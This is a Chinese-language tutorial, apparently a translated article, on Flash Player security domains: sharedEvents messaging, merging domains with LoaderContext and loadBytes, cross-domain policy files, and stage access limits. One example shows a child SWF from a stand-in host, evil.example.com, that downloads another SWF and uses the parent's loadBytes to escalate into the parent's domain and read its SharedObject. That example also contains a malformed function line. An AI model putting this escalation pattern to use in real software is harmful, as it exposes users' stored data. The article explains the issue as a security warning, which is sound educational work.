SWF Communication Without Trust 在非受信的SWF之间通讯

在某些情况下有可能要与其他来源不那么可靠的域中的SWF通讯,你并不希望完全信任该域,放开全部授权。对此LoaderInfo对象的sharedEvents属性提供了另一种机制。sharedEvents对象是唯一的一个可以在不同安全域中发送共享事件的对象。加载者和被加载者都可以通过这个对象来向对方发送事件。

通过sharedEvents对象发送的事件在两个域中都是完全受信的,这就使得在两个安全域中传递的任意数据都无需考虑安全问题。

警告:当心!通过sharedEvents对象传递了错误的数据仍然有可能把你的SWF中的数据暴露出去。比如你的事件包含了一个复杂对象,特别是显示列表上的对象,那么你的整个SWF都将暴露。

所以通过sharedEvents发送的事件应该限制为包含简单数据的事件类型,避免一些被包含后门的SWF程序加以利用。如果你要传递复杂的事件,那要在传递之前先做一下清理。

使用sharedEvents进行通讯的两个SWF需要确保发送和接收的是一致的事件类型。父SWF可以发出一种事件并监听另一种。子SWF可以监听父SWF发出的事件并发出父SWF中正在监听的事件。这些事件的名字可以是随意的。

下面的例子演示了在不同安全域中的父子SWF使用sharedEvents来通讯简单的文本信息的情况。父SWF发出“fromParent”事件,而子SWF发出“fromChild”事件。

http://safe.example.com/parent.swf:

var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
shared.addEventListener("fromChild", fromChild);
 
var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));
 
function fromChild(event:TextEvent):void {
	trace(event.text); // Good day
 
	var replyMessage:TextEvent = new TextEvent("fromParent");
	replyMessage.text = "Same to you";
	shared.dispatchEvent(replyMessage);
}

http://untrusted.example.com/child.swf:

var shared:EventDispatcher = loaderInfo.sharedEvents;
shared.addEventListener("fromParent", fromParent);
 
var firstMessage:TextEvent = new TextEvent("fromChild");
firstMessage.text = "Good Day";
shared.dispatchEvent(firstMessage);
 
function fromParent(event:TextEvent):void {
	trace(event.text); // Same to you
}

任意的事件类都可以像这样用于传递信息,也包括自定义事件。再次强调,要当心不要把包含引用的数据(特别是显示列表上的对象)随着事件一起发送出去。这种情况的例子在场景的拥有者和获取权限章节中可以找到。

Merging Security Domains 合并安全域

如果两个域之间建立了信任关系,一个SWF就能把另外一个SWF加到自己的安全域内,就像是在相同的域下一样。

在这种情况下信任授权的处理有少许不同。首先,包含父SWF的域不需要指定什么,只要执行加载另一个SWF到当前的安全域就表示完全信任这个SWF。

其次,因为子SWF是立即被加载到父SWF的安全域中,并没有机会通过allowDomain进行信任授权声明。当子SWF可以执行allowDomain声明的时候,已经被加载并实例化到另外的域中。所以这种情况下,跨域策略文件将派上用场。实际上这也是跨域策略文件唯一适用于对SWF进行授权的情况。

深入理解Flash的沙箱 – Security Domains_下

需要跨域策略文件把跨域的SWF加载到相同的安全域

要加载某个SWF到自己的安全域内,需要给Loader.load方法指定一个LoaderContext对象。LoaderContext对象的securityDomain属性设置为当前的安全域(SecurityDomain.currentDomain)。通过这样的加载方式,父SWF授信给子SWF,而子SWF的授信则需要通过跨域策略文件。

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com
 
var loader:Loader = new Loader();
 
// 创建一个LoaderContext对象把子SWF加载到当前的安全域
var context:LoaderContext = new LoaderContext(true);
context.securityDomain = SecurityDomain.currentDomain;
 
var url:String = "http://trusting.example.com/child.swf";
loader.load(new URLRequest(url), context);

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/child.swf:

trace(new LocalConnection().domain); // host.example.com

我们可以通过LocalConnection对象的domain属性来检查每个SWF所处的安全域。虽然子SWF原先所处的域是trusting.example.com,但是由于它被加载到父SWF所处的域中,所以子SWF最终所处的安全域是host.example.com。

用这个方式加载的SWF文件权力比用allowDomain授权的更加大。使用allowDomain授权,等同于说你能做什么,我就能做什么。而把SWF加载到同一个安全域,则等同于我能做任何事。在前一种情况下,子SWF只能调用父SWF下的代码,还是受限于父SWF中的定义。但是通过加载到相同的安全域,这些子SWF就可以在你的域下面做任意操作,这包括:

  • 获取父SWF中的任意引用
  • 读取主域中的所有文件
  • 读取其他授信给主域的所有域下的文件
  • 读取主域下的共享对象
  • 获取通过主域建立的共享连接通讯
  • 获取授信给主域的socket连接

所以在引入跨域SWF文件到你当前的安全域下的时候,你要确保这种权力不会被滥用。

使用包含安全域的LoaderContext对象的load方法不是能够引入跨域SWF到你的安全域的唯一方法。Loader类的另一个方法loadBytes也可以做到。和load不同的是,它不是用URL来加载外部内容,而是直接加载以ByteArray的形式加载对象。

由于ByteArray与域名之间没有关联,所以用loadBytes方法加载的对象将直接进入当前安全域内。因为你在加载包含这些字节对象之前往往都要经过某种信任授权,所以这通常是安全的。

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com
 
var loader:Loader = new Loader();
 
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
 
// cross-domain policy file required to load data
var url:String = "http://trusting.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
 
function bytesLoaded(event:Event):void {
	loader.loadBytes(urlLoader.data);
}

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="host.example.com"/>
</cross-domain-policy>

http://trusting.example.com/childbytes.swf:

trace(new LocalConnection().domain); // host.example.com

就和前面看到的例子一样,通过检查子SWF文件的LocalConnection.domain属性,使用loadBytes方法加载的子SWF也显示为相同的安全域。

警告:loadBytes方法有个小小的安全问题:可以把授信过的跨域SWF和加载到当前安全域下的SWF两者间的不同扯平。我们知道虽然这两者都是被信任的,但是就像上面的列表中提到的,后者比前者的权力更大。“你能做什么,我就能做什么”与“我能做任何事”之间的差别,结果可以变成没有差别。

这是因为授信过的跨域SWF文件可以访问父SWF的任何对象,包括父SWF对象的Loader实例,一旦拥有了对loadBytes方法的引用,这就意味着可以把某些字节对象加载到当前的安全域。

下面的这个例子展示了这种可能性:

http://good.example.com/parent.swf:

// 授权 "你能做什么,我就能做什么"
Security.allowDomain("evil.example.com");
 
// 应当受保护的数据
var so:SharedObject = SharedObject.getLocal("foo", "/");
so.data.foo = "bar";
so.flush();
 
var loader:Loader = new Loader();
var url:String = "http://evil.example.com/child.swf";
loader.load(new URLRequest(url));

http://evil.example.com/child.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("trust only: " + so.data.foo); // trust only: undefined
 
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
 
var url:String = "http://evil.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
 
function bytesLoadedEvent):void {
	// 威胁!loadBytes加载了SWF数据到父SWF的安全域
	loaderInfo.loader.loadBytes(urlLoader.data);
}

http://evil.example.com/childbytes.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("same domain: " + so.data.foo); // same domain: ba

将来版本的Flash Player可能会改变这种行为,所以在程序中不要使用这种方法。我们应该关注的是加载授信过的SWF文件会带来的潜在威胁:暴露你的域下的所有数据。

Stage Owner and Access 场景的拥有者和获取权限

当第一个SWF文件被加载到Flash Player中的时候,它被加到显示列表的根上,也就是我们所说的stage对象。这也是Flash Player自己的显示对象的根。每个SWF都有代表自己主文档类或者主时间线的根(叫做root)。第一个被创建的SWF实例的根被放置于场景上,其他子SWF使用Loader对象的实例来加载。

场景的特别之处在于它本身就位于显示列表上,所有处于显示列表上的子SWF都可以取得它的引用,但是它只有一个拥有者:就是第一个被实例化的那个SWF。场景的拥有者决定了场景所连接的安全域。其他的SWF想对场景进行特殊操作的行为都必须获得场景所有者的信任授权。

你可能有注意到在过去的有些程序或者是组件中,被加载到不同的域(未授信)里的时候报错。这正是因为没有取得对场景对象进行操作的授权。因为场景对象是可以被引用的,但是诸如场景的addEventListener方法等却不可用,所以这很容易引起误解。

下面这个表格列出了场景对象限制非安全域对象访问的成员。可能不是100%精确,主要用于参考。

addChild addChildAt removeChild
removeChildAt getChildIndex setChildIndex
getChildAt getObjectsUnderPoint swapChildren
swapChildrenAt numChildren tabChildren
mouseChildren width stageWidth
fullScreenWidth height stageHeight
fullScreenHeight quality align
scaleMode displayState fullScreenSourceRect
stageFocusRect showDefaultContextMenu colorCorrection
addEventListener dispatchEvent hasEventListener
willTrigger    

相关文章:

  • 2022-12-23
  • 2021-10-18
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-05-20
  • 2021-12-31
猜你喜欢
  • 2021-10-26
  • 2022-01-28
  • 2021-06-17
  • 2022-02-27
  • 2021-10-21
  • 2021-12-28
  • 2022-12-23
相关资源
相似解决方案